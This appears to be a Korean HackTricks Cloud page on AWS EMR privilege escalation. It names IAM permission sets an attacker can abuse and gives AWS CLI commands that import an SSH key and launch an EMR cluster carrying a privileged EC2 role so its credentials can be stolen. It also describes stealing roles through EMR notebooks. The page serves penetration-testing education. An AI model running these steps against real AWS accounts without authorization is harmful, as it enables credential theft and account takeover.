AWS - EMR Privesc
Reading time: 3 minutes
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
EMR
더 많은 EMR에 대한 정보는 다음에서 확인하세요:
iam:PassRole
, elasticmapreduce:RunJobFlow
이 권한을 가진 공격자는 EC2 역할을 연결하여 새로운 EMR 클러스터를 실행하고 자격 증명을 훔치려고 시도할 수 있습니다.
이 작업을 수행하려면 계정에 가져온 ssh 개인 키를 알고 있거나 하나를 가져와야 하며, 마스터 노드에서 포트 22를 열 수 있어야 합니다(이를 위해 --ec2-attributes
내의 EmrManagedMasterSecurityGroup
및/또는 ServiceAccessSecurityGroup
속성을 사용할 수 있습니다).
# Import EC2 ssh key (you will need extra permissions for this)
ssh-keygen -b 2048 -t rsa -f /tmp/sshkey -q -N ""
chmod 400 /tmp/sshkey
base64 /tmp/sshkey.pub > /tmp/pub.key
aws ec2 import-key-pair \
--key-name "privesc" \
--public-key-material file:///tmp/pub.key
aws emr create-cluster \
--release-label emr-5.15.0 \
--instance-type m4.large \
--instance-count 1 \
--service-role EMR_DefaultRole \
--ec2-attributes InstanceProfile=EMR_EC2_DefaultRole,KeyName=privesc
# Wait 1min and connect via ssh to an EC2 instance of the cluster)
aws emr describe-cluster --cluster-id <id>
# In MasterPublicDnsName you can find the DNS to connect to the master instance
## You cna also get this info listing EC2 instances
EMR 역할이 --service-role
에 지정되고 ec2 역할이 --ec2-attributes
에 지정되는 방식을 주목하세요. 그러나 이 기술은 EC2 역할 자격 증명만 훔칠 수 있게 해줍니다(ssh를 통해 연결할 것이기 때문) 하지만 EMR IAM 역할은 훔칠 수 없습니다.
잠재적 영향: 지정된 EC2 서비스 역할로의 권한 상승.
elasticmapreduce:CreateEditor
, iam:ListRoles
, elasticmapreduce:ListClusters
, iam:PassRole
, elasticmapreduce:DescribeEditor
, elasticmapreduce:OpenEditorInConsole
이 권한으로 공격자는 AWS 콘솔에 가서 노트북을 생성하고 이를 통해 IAM 역할을 훔칠 수 있습니다.
caution
노트북 인스턴스에 IAM 역할을 연결하더라도, 제 테스트에서는 AWS 관리 자격 증명을 훔칠 수 있었고 IAM 역할과 관련된 자격 증명은 훔칠 수 없었습니다.
잠재적 영향: AWS 관리 역할 arn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfile로의 권한 상승.
elasticmapreduce:OpenEditorInConsole
이 권한만으로도 공격자는 Jupyter Notebook에 접근하고 이에 연결된 IAM 역할을 훔칠 수 있습니다.
노트북의 URL은 https://<notebook-id>.emrnotebooks-prod.eu-west-1.amazonaws.com/<notebook-id>/lab/
입니다.
caution
노트북 인스턴스에 IAM 역할을 연결하더라도, 제 테스트에서는 AWS 관리 자격 증명을 훔칠 수 있었고 IAM 역할과 관련된 자격 증명은 훔칠 수 없었습니다.
잠재적 영향: AWS 관리 역할 arn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfile로의 권한 상승.
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.